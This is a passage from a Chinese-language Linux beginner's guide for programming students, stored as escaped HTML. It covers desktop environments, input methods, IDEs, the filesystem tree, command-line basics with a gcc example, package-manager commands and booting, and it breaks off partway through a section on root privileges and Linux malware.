id=\"好奇怪的桌面\"\u003e好奇怪的桌面\u003c/h2\u003e\n\u003cp\u003e如果安装完了系统,进去发现系统有点不一样,但感觉上还能用,那你们真幸运:-)我六年前开始用Linux的时候,还不是这样呢。\u003cbr/\u003e\n但如果你发现,电脑操作不太一样了,或者说,你的Linux和他的不一样。那么,你就要先了解以下东西了。\u003c/p\u003e\n\u003ch3 id=\"桌面居然是一个独立的软件\"\u003e桌面居然是一个独立的软件?\u003c/h3\u003e\n\u003cp\u003e这点和Windows很不一样,Windows的图形化功能是集成到内核的,Linux不是这样。这也解释了为啥Windows图形化一崩溃就蓝屏了。\u003cbr/\u003e\n具体来说,Linux本身只是一个内核,在其上运行着很多程序,图形化界面(桌面环境)只是其中一个。\u003cbr/\u003e\n要细说的话,我们得扯一下历史了(欢迎大家进入工程概论睡觉模式):\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\" loading=\"lazy\" alt=\"SuperBart超级抽象画工时间2333\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eSuperBart超级抽象画工时间2333\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e上世纪七八十年代的电脑,都是需要用终端机来使用的。终端机连接到远端的主机,并进行操作。现在有些东西,还有这个的影子呢,比如你远程你买的云服务器。插一句,C语言的stdio头文件,全称叫标准输入输出(STanDard Input Output),也是对应了这个结构。输入在当时,就是终端机的键盘,输出在当时,就是终端机的屏幕。当然现在,分别对应的是你的键盘和屏幕了。\u003cbr/\u003e\nLinux的图形化程序叫Xorg,也是这样的结构。这里给张图片。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\" loading=\"lazy\" alt=\"根据维基百科X协议页面画的,不一定准确\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e根据维基百科X协议页面画的,不一定准确\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看,是不是有点终端机和主机的感觉呢?前面三个负责处理一些内部事情,比如接受进程状态,检测输入之类。然后XORG服务器将绘制信号传给XORG客户端,然后经由窗口管理器之类的东西,把窗口送到你的屏幕上。他的过程比Windows那样的直接绘制要复杂一些,但是十分灵活。\u003cbr/\u003e\n在Linux中,有很多的桌面环境。建议大家看一下自己系统使用的桌面环境,以后出现问题的话,会很有用。下面介绍一些著名的桌面环境,以及我认为的特点:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e名称\u003c/th\u003e\n\u003cth align=\"center\"\u003e官网\u003c/th\u003e\n\u003cth align=\"left\"\u003e优点\u003c/th\u003e\n\u003cth align=\"left\"\u003e缺点\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eKDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ekde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e围绕KDE开发的软件很多,界面比Windows 11还好看,配置方便\u003c/td\u003e\n\u003ctd align=\"left\"\u003e体积庞大\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDeepin\u003c/td\u003e\n\u003ctd align=\"center\"\u003edeepin.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面华丽,使用简单,开发单位有国家赞助\u003c/td\u003e\n\u003ctd align=\"left\"\u003e3d加速之类的东西不太适合虚拟机使用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eGNOME\u003c/td\u003e\n\u003ctd align=\"center\"\u003egnome.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e个性化能力强,围绕其生态的软件多\u003c/td\u003e\n\u003ctd align=\"left\"\u003e默认界面使用十分反人类,用起来十分不稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eMATE\u003c/td\u003e\n\u003ctd align=\"center\"\u003emate.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面直观,软件丰富,基于GNOME还没反人类时期的代码\u003c/td\u003e\n\u003ctd align=\"left\"\u003e可能界面有点老土,默认上下都有任务栏\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eXFCE\u003c/td\u003e\n\u003ctd align=\"center\"\u003exfce.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e省资源,但是软件绝对够用,小耗子很可爱\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面十分老土,个人认为得自己配置一下\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLXDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003elxde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e十分省资源\u003c/td\u003e\n\u003ctd align=\"left\"\u003e配置起来相当麻烦,软件之类得自己找\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e当然,听我的一家之词,肯定是不够的。建议各位上网找一下相关图片,了解一下。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\" loading=\"lazy\" alt=\"这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"我的中文输入法呢\"\u003e我的中文输入法呢?\u003c/h3\u003e\n\u003cp\u003e相信有人装完系统,发现你的系统没有中文输入法,中文输入不了。\u003cbr/\u003e\nLinux的输入法跟Windows是有区别的,Linux上的输入法是一个框架,在框架中,具体的输入法才能运行。Linux上面有两个框架,一个叫Fcitx,一个叫ibus。接下来,我会给大家一些关于输入法的提示。\u003cbr/\u003e\n首先是fcitx(小企鹅输入法)。这个输入法的用途还是很广泛的,而且插件功能强大。我用的最多,也最想给大家推荐。具体安装我这里不会细说,给点提示吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一般来说,你需要安装一些针对QT和GTK的相容性插件。如果你发现输入不了的话,可能这是你问题的一个切入点。\u003c/li\u003e\n\u003cli\u003e目前Fcitx分为两个版本,一个是第四版,一个是第五版。现在推荐大家使用第五版,功能更多,开发更活跃。\u003c/li\u003e\n\u003cli\u003e关于默认的拼音输入法,有两个插件一定要激活:一个是云拼音插件,一个是词库插件。云拼音插件可以从百度的服务器上面得到你输入拼音的预测,词库插件可以获取搜狗拼音的词库。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后是ibus。这个是GNOME的默认输入框架,所以用GNOME的同志们,不要再装fcitx了。这个输入法我用的不多,所以这里谈的不多,请进入设置里的相关选项进行设置。\u003c/p\u003e\n\u003cp\u003e不过我必须插一句,不要使用默认的拼音输入法实现!去你的软件源找有没有ibus-libpinyin或者ibus-sunpinyin,这俩更好用。\u003c/p\u003e\n\u003ch3 id=\"linux上面有dev-c吗\"\u003eLinux上面有Dev-C++吗?\u003c/h3\u003e\n\u003cp\u003e没有,Dev-C++是纯Windows程序。但是Linux上面有更好用的。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e小熊猫Dev-C++,QT版的Dev-C++,该怎么用不用我多说了吧。(这不是原版Dev-C++,不保证你的软件仓库有)\u003c/li\u003e\n\u003cli\u003eGeany,用起来和Dev-C++差不多,构建单个文件的时候很舒服的。\u003c/li\u003e\n\u003cli\u003eCodeBlock,我们CPP语言老师用的是这个IDE。\u003c/li\u003e\n\u003cli\u003eKate,KDE桌面环境默认编辑器,个人习惯使用这个编辑配置文件。OI-Wiki有个指南,可以看看。(这个软件有Windows版)\u003c/li\u003e\n\u003cli\u003eGedit,Gnome桌面环境的默认编辑器。稍微配置一下,就能一键编译了。CSDN上面一堆教程呢。\u003c/li\u003e\n\u003cli\u003eVSCode,大名鼎鼎,无需多言。而且在Linux上配置更方便了呢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e插一句啊,在Linux编程前,一定要看看你的系统有没有编译器!你安装gcc或者clang了吗?\u003c/p\u003e\n\u003ch2 id=\"文件相关\"\u003e文件相关\u003c/h2\u003e\n\u003cp\u003e粗略略用起来,好像没啥奇怪的。但当你想找C盘D盘的时候,诶,跑哪里去了?\u003cbr/\u003e\n你发现文件路径中,\u0026#39;/‘用的好多啊,而且有好多三个字母的目录,有点高大上。\u003cbr/\u003e\n你还发现文件属性里面没有\u0026#34;隐藏\u0026#34;了,这又是搞哪门子?\u003c/p\u003e\n\u003ch3 id=\"没有明显的分区概念\"\u003e没有明显的分区概念\u003c/h3\u003e\n\u003cp\u003e知道各位脑子里充满了C盘,D盘之类的。他们泾渭分明,基本上要没啥事的话,真的是鸡犬相闻,老死不相往来。但如果我告诉你,分区之间可以关系紧密,甚至成为了一棵树呢?\u003cbr/\u003e\n来看看这张图吧,这就是我电脑Linux的分区结构了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\" loading=\"lazy\" alt=\"手绘的更有温度,懂不懂啊\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e手绘的更有温度,懂不懂啊\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看到了吗,任何文件都是衍生自一棵树,他的名字叫做根,他的目的也是为了耕种这些文件。这些文件在这个根的勤劳耕种下,努力地繁育系统这个大家庭……(看不懂的去看《十日谈》或者去听Genesis的Cinema Show)\u003cbr/\u003e\n为什么说Linux的分区不明显呢?分区是硬件上的概念,客观存在的。但是Linux中,分区之间的关系是非常紧密的。即使/usr目录在一个分区,/boot在另一个分区,/单独一个分区,但只要有/维系这棵树,他们之间的互相访问,就好像在一个分区一样,这样,分区的概念就不明显了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\" loading=\"lazy\" alt=\"看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有心人注意到了,我写了一个\u0026#34;在内存中的文件\u0026#34;。这个是Linux内核把系统和硬件的信息,通过文件的形式给大家呈现了出来。这个方面,建议大家了解一下Linux/Unix下硬件映射为文件,“一切皆文件”的思想。\u003cbr/\u003e\n对于mac用户,你们可以打开终端,看看你们的根目录。\u003c/p\u003e\n\u003ch3 id=\"隐藏文件和配置文件\"\u003e隐藏文件和配置文件\u003c/h3\u003e\n\u003cp\u003e在Linux中,隐藏文件的标志和Windows的不一样。只要你在文件名前面搞个\u003ccode\u003e.\u003c/code\u003e就行了,就这样。\u003cbr/\u003e\n那么,什么情况下我们会看到隐藏文件呢?来看看我的电脑吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\" loading=\"lazy\" alt=\"左面的不显示隐藏文件,右面的显示隐藏文件\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e左面的不显示隐藏文件,右面的显示隐藏文件\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好吧,你看到了很多的隐藏文件。这里面我先告诉你,大多数是配置文件。为啥要告诉你呢?要不然没法往下写了(尴尬)\u003cbr/\u003e\nLinux软件的配置文件,大多集中地放在以下目录中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e/etc 这个是系统级别的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.config 这个是在你的家目录(/home/你的用户名)里面的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.vkquake 这个是在家目录里,雷神之锤游戏的配置文件和数据包相关(有其他程序是话,请类比)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e配置文件有啥可说的呢?Linux大多数应用都是依靠配置文件,而不是图形化配置工具,来修改设定的。而且,一般通过配置文件,你可以对这个软件的使用有初步的印象,因为很多的配置文件都写满了注释。实际上,前面我们修改软件源的时候,我们就已经修改系统的配置文件了。\u003c/p\u003e\n\u003ch2 id=\"命令行的基本使chao用xi\"\u003e命令行的基本使(chao)用(xi)\u003c/h2\u003e\n\u003cp\u003e在Linux,你要想玩的high,就得接触命令行。对于某些在Windows经常搞cmd的人,估计会更熟悉些吧。\u003cbr/\u003e\n但如果你不熟悉命令行,相信你的外语和程序上机都好好学了吧,这也不是难事。\u003cbr/\u003e\n而且大家不是更喜欢CyberPorn吗2333\u003c/p\u003e\n\u003ch3 id=\"程序设计课复习程序与参数\"\u003e程序设计课复习:程序与参数\u003c/h3\u003e\n\u003cp\u003e各位应该在C语言程序设计中,学到了如何通过命令行输入参数,而不是先把程序执行了,再输入数据。你们当时肯定输入的是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint main(int argc, char* argv[])\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中第一个参数argc(argument count),是你输入的参数数量。第二个参数argv(argument vector),存放的是你输入的参数字符串。举个例子,前面我们提到要搞软件包管理。在Ubuntu下,你搜索软件包(举个例子,gcc编译器)的时候,你输入的是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt search gcc\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样,你输入了三个参数,一个是apt,一个是search,一个是gcc。这样的话,argc的数值是3,而argv里面存储的,则是那三个参数的字符串了。这里我建议各位自己编写一个和下面程序类似的程序。看看输出结果。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e\u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[]){\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"命令行程序举例一句话编译c语言单文件\"\u003e命令行程序举例:一句话编译C语言单文件\u003c/h3\u003e\n\u003cp\u003e各位目前编程,除了某些大佬之外,肯定是依靠Dev-Cpp之类的程序来编译运行吧。这里我想给大家把那些程序的外表给去掉,给大家看看如何编译一个程序吧。\u003cbr/\u003e\n像Dev-Cpp那样的,可以编辑代码并编译执行的程序,叫做集成开发环境(IDE)。IDE要想编译程序,需要编译器,这个配置过vscode的人会更清楚。接下来,我们只依靠编译器,编译上面的示例程序。\u003cbr/\u003e\n这里我使用gcc编译器。咱先把上面的示例程序写下来,保存成’argc.c’文件。然后在保存这个文件的目录下,打开终端,通过以下命令编译运行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egcc argc.c -o argc \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./argc Unforeseen Consequence\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果执行没有问题的话,程序将会输出\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e./argc\nUnforeseen\nConsequence\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e好的,程序运行成功了,执行符合预期。这个命令我也该跟大家解释一下了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egcc\u003c/code\u003e 是编译器程序的名称,后面跟参数\u003ccode\u003e–help\u003c/code\u003e可以查看其使用指南\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eargc.c\u003c/code\u003e 是需要编译的源代码文件,是gcc程序的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-o\u003c/code\u003e 是gcc的参数,表示要将编译后的结果输出到哪个文件中,后面的argc是-o的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e 是bash命令解释器的一个特殊符号,表示在前面的命令完成后,执行后面的命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e./argc\u003c/code\u003e 是即将执行的程序名称,\u003ccode\u003e./\u003c/code\u003e表示我们需要在当前目录下寻找该程序\u003c/li\u003e\n\u003cli\u003e后面的两个单词是argc程序的参数,也是G-Man对万斯父女说过的话\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果大家一时看不明白,很正常。我这里只是想通过这种方式,让大家对命令行程序有一个了解。\u003cbr/\u003e\n如果想更多了解的话,建议大家了解一下bash的基本用法。最后给大家一道思考题:系统是怎样找到程序的位置呢?\u003c/p\u003e\n\u003ch3 id=\"软件包管理\"\u003e软件包管理\u003c/h3\u003e\n\u003cp\u003e前面我说镜像的时候,我说我会在这里细讲的。个人认为,这个是使用频率最高的命令行程序了。\u003cbr/\u003e\n在Windows下,各位要用软件的时候,都会找渠道下载安装程序,然后安装吧。这种方式个人认为,十分麻烦,而且不安全。麻烦在于,你得满世界去找安装程序,有些小众程序还得去各种犄角旮旯网站去找。不安全在于,有些渠道很黑心,一不小心就给你来个2345流氓大礼包。要是下到了病毒,那就更好玩了:-P\u003cbr/\u003e\n而Linux系统,普遍都有配套的软件库,可以很方便地给你们提供很多的软件。基本上咱们编程需要的东西,都给你准备好了。当然,要是这个程序找不到的话,如果那个软件给Linux适配的话,那就把上面的步骤走一遍吧:-(\u003cbr/\u003e\n接下来,我给大家准备了一些命令,免得大家上网找了。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e系统类型\u003c/th\u003e\n\u003cth align=\"center\"\u003e安装程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e卸载程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新系统\u003c/th\u003e\n\u003cth align=\"center\"\u003e搜索程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e图形化工具\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDebian/Ubuntu\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get install\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt dist-upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-cache search\u003c/td\u003e\n\u003ctd align=\"center\"\u003esynaptic\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eFedora/CentOS\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf install\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf update\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf distro-sync\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf search\u003c/td\u003e\n\u003ctd align=\"center\"\u003e-\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eOpenSUSE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper in\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper rm\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper up\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper dup\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper se\u003c/td\u003e\n\u003ctd align=\"center\"\u003eYaST软件包管理工具\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eArch Linux/Manjaro\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -S\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -R\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Ss\u003c/td\u003e\n\u003ctd align=\"center\"\u003epamac/octopi\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对了,用GNOME环境的同志们,你们的电脑上面应该有个\u0026#34;软件\u0026#34;应用,那个玩意也挺方便的。KDE下面有个Apper,也还行。\u003cbr/\u003e\n还有一件事,软件库是可以扩展的,比如Fedora的RPMFusion,Archlinux的AUR,需要的话,可以上网了解一下。\u003c/p\u003e\n\u003ch2 id=\"如何把-linux-引进家\"\u003e如何把 Linux 引进家\u003c/h2\u003e\n\u003cp\u003e这块我简要说一下如何把 Linux 引进家,也就是你电脑是如何引导 Linux 的。\u003cbr/\u003e\n有些名词我不会过多解释,有需要请上网搜索。有错误请指正。\u003c/p\u003e\n\u003ch3 id=\"mbr--uefi\"\u003eMBR / UEFI\u003c/h3\u003e\n\u003cp\u003e电脑开机之后,首先加载 CMOS 里面的程序,用来初始化电脑的硬件。顺便说一句,BIOS 是存在 CMOS 里面,用来修改 CMOS 的内容的程序。多看看老莱就知道了。\u003c/p\u003e\n\u003cp\u003e初始化硬件后,电脑需要寻找硬盘上的操作系统,然后把控制权交出去,因为他除了初始化硬件,连和我贴贴都不会。而这就引申出来标题那俩东西了。\u003c/p\u003e\n\u003cp\u003e对于各位普遍安装的虚拟机,以及老电脑来说,MBR 引导方式是十分普遍的。MBR 是电脑的前 512 字节,存着操作系统引导器的信息。电脑读这几个字节的信息,然后就交权了。UEFI 稍微复杂一些,他能读取一个叫 EFI 分区的玩意,看看里面有啥可引导信息,然后引导系统。\u003c/p\u003e\n\u003ch3 id=\"系统初始化程序\"\u003e系统初始化程序\u003c/h3\u003e\n\u003cp\u003e现在我们需要加载内核到内存,内核文件是压缩过的,名字中一般有个 \u003ccode\u003evmlinuz\u003c/code\u003e 。解压完内核,内核会:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e检测系统硬件\u003c/li\u003e\n\u003cli\u003e挂载根设备\u003c/li\u003e\n\u003cli\u003e加载必要的内核模块(其中包括很多驱动之类)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里说一句,在没有挂载电脑硬盘根目录前,内核所有操作都在 \u003ccode\u003einitrd\u003c/code\u003e 的虚拟树根中进行。\u003c/p\u003e\n\u003cp\u003e然后就完了……吧?\u003c/p\u003e\n\u003cp\u003e当然不是,系统只有内核是绝对不够的。他不知道键盘鼠标在哪里,不知道如何走网卡上网,不知道如何…… 你就当他啥也不会就行了。这时我们需要个人来带领他复习这些东西。这个程序,叫系统初始化+管理工具,目前流行的是 systemd。他能初始化系统,运行必要的系统服务之类的(其中包括我们最喜欢的图形化程序)。一般来说,这玩意搞完了,系统基本就能用了。\u003c/p\u003e\n\u003ch2 id=\"linux系统安全教育\"\u003eLinux系统安全教育\u003c/h2\u003e\n\u003cp\u003e在阅读这一章之前,先把超人的座右铭读一下:能力越大,责任越大。\u003cbr/\u003e\nLinux给你的权限是相当大的,鉴于很多人在Windows下,不一定能对系统权限有很深的认识,我不太想让大家因为网上的某些垃圾命令/恶意软件而搞得心情不愉快。所以这里,我简单说几句句。\u003c/p\u003e\n\u003ch3 id=\"sudo和最高权限用户\"\u003esudo和最高权限用户\u003c/h3\u003e\n\u003cp\u003e各位在互联网上寻找到的命令,有一些前面带着\u003ccode\u003esudo\u003c/code\u003e,或是\u003ccode\u003e#\u003c/code\u003e字符。这都意味着,这个命令需要使用最高用户权限(Linux叫root账户)来执行。\u003cbr/\u003e\n在Windows下,有管理员账户(Administrator)。相信大家感受不深,因为各位的电脑默认都是这个账户。当你需要安装应用程序的时候,有个窗口弹出来,让你同意运行。这个情况下,系统就需要让你动用管理员用户权限了,因为你要更改系统设置,修改系统文件啊。Linux也是这样,当你需要安装软件的时候,你需要提权了。\u003cbr/\u003e\nLinux的最高权限用户和Windows的管理员有很大不同。Windows的管理员权限在某种意义上,算是一种丞相的位置,虽然权力相当大了,但上面还有个SYSTEM账户,掌管所有权力。Linux的最高权限用户可谓是一人之下,万人之上了。你可以访问所有文件,修改所有设定,甚至一句话就可以自杀:-P\u003cbr/\u003e\n这就要引出下一个话题了……\u003c/p\u003e\n\u003ch3 id=\"linux也有病毒\"\u003eLinux也有病毒\u003c/h3\u003e\n\u003cp\u003e很多人说,Linux相较于Windows更安全,而且没有病毒。这个话是不完全正确的。\u003cbr/\u003e\n先说错误的部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLinux内核和上面的软件,和Windows一样,会有漏洞。虽然修复十分频繁,但毕竟洞在那里,很多人都会来插的。\u003c/li\u003e\n\u003cli\u003e由于Windows在普通人中间的使用量相当大,攻击者会花很多心思寻找Windows的漏洞,然后编写病毒攻击。Linux和Mac方面的病毒相比,就少了很多。\u003c/li\u003e\n\u003cli\u003eAndroid系统基于Linux开发,然而为啥天天有人随便下载东西,然后手机被锁住了呢?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e好吧,看上去,也不是那么美好啊。那么,正确的部分又在那里呢?\u003cbr/\u003e\n在Linux下,调用最高管理权限的门槛很高。多数情况下,你在Windows中,默认就是管理员账户,UAC(提权时候的提醒)也近乎于摆设。而Linux的话,用户账户默认是没有最高权限访问权的。而当你提权的时候,往往需要把你加入提权组(一般叫wheel),执行前输入密码。要是不提权的话,你只能操作你家目录里面的东西。而最高权限用户,默认是禁用的,只有当你给其设置密码的时候,才能使用。这种近似于一刀切的管理方式保证